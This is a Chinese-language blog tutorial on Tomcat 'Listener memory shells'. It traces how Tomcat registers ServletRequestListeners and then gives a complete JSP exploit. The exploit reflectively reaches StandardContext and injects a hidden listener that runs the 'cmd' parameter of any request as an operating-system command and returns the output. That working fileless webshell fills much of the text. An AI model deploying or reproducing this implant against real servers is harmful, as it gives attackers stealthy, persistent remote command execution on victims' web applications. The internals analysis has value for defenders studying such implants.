前置知识
About Listener
监听器用于监听web应用中某些对象、信息的创建、销毁、增加,修改,删除等动作的发生,然后作出相应的响应处理。当域对象的状态发生变化的时候,服务器自动调用监听器对象中的方法。
我们研究Listener内存马,基于实际应用层面,只围绕监听ServletRequest域对象展开,因为Listener监听此对象后,无论用户访问哪一个路由都会自动调用监听器中的方法。
Listener实现demo
Listener装上ServletRequestListener接口,即可被任何来自用户的路由访问而触发:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| package com.xiaofuc.listenershell;
import jakarta.servlet.ServletRequestEvent; import jakarta.servlet.ServletRequestListener; import jakarta.servlet.annotation.WebListener; import java.util.EventListener;
public class Listener implements ServletRequestListener {
public Listener(){ }
@Override public void requestDestroyed(ServletRequestEvent sre) {
}
@Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener 被调用"); } }
|
记得在web.xml中添加Listener配置:
1 2 3
| <listener> <listener-class>com.xiaofuc.listenershell.Listener</listener-class> </listener>
|
启动后,我们访问任意一个路由,都会提示:

Listener流程分析
ContextConfig读取配置文件
我们先把断点下在ContextConfig的1419行:

这里已经从webxml中读出了listener的相应配置:

传入addApplicationListener()
中:

此时listener已经被放入applicationListeners数组中:

listenerStart()分析
断点打在StandardContext.listenerStart()
,关注一下这串代码:

之前web.xml传入的listener被传入listeners[]中。
results[i] = getInstanceManager().newInstance(listener);
这一句把listener实例化了,放入results数组。

遍历results数组,一个一个放入eventListeners列表。
往下走,关注这个方法:


listener实例被存储到了applicationEventListenersList。

requestInitialized()的调用 (终点)
断点下这里:

观察调用栈,看到了我们的老朋友:


这里代码很简单,大概意思就是把listener从之前这个applicationEventListenersList列表里掏出来执行。
总结:
需要将恶意的Listener打入applicationEventListenersList中就OK了
内存马实现

基本思路和上一次的Filter马大差不差,还简单多了。我们获取到StandardContext就可以直接反射获取addApplicationEventListener方法,然后把我们的恶意Listener添加进去就行了。
核心代码:
恶意Listener:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <%! class ListenerMemShell implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse(); if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } } @Override public void requestDestroyed(ServletRequestEvent sre) { } } %>
|
正常在Java源码中,我们看看ServletContext是怎么拿的:


添加监听器
1 2 3 4
| <% Shell_Listener shell_Listener = new Shell_Listener(); context.addApplicationEventListener(shell_Listener); %>
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
| <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.List" %> <%@ page import="java.util.Arrays" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.ArrayList" %> <%@ page import="java.io.InputStream" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.connector.Response" %> <%!
class ListenerShell implements ServletRequestListener {
@Override public void requestInitialized(ServletRequestEvent sre) { String cmd; try { cmd = sre.getServletRequest().getParameter("cmd"); org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest(); Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request"); requestField.setAccessible(true); Request request = (Request) requestField.get(requestFacade); Response response = request.getResponse();
if (cmd != null){ InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); int i = 0; byte[] bytes = new byte[1024]; while ((i=inputStream.read(bytes)) != -1){ response.getWriter().write(new String(bytes,0,i)); response.getWriter().write("\r\n"); } } }catch (Exception e){ e.printStackTrace(); } }
@Override public void requestDestroyed(ServletRequestEvent sre) { } } %>
<% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Object[] objects = standardContext.getApplicationEventListeners(); List<Object> listeners = Arrays.asList(objects); List<Object> arrayList = new ArrayList(listeners); arrayList.add(new ListenerShell()); standardContext.setApplicationEventListeners(arrayList.toArray());
%>
|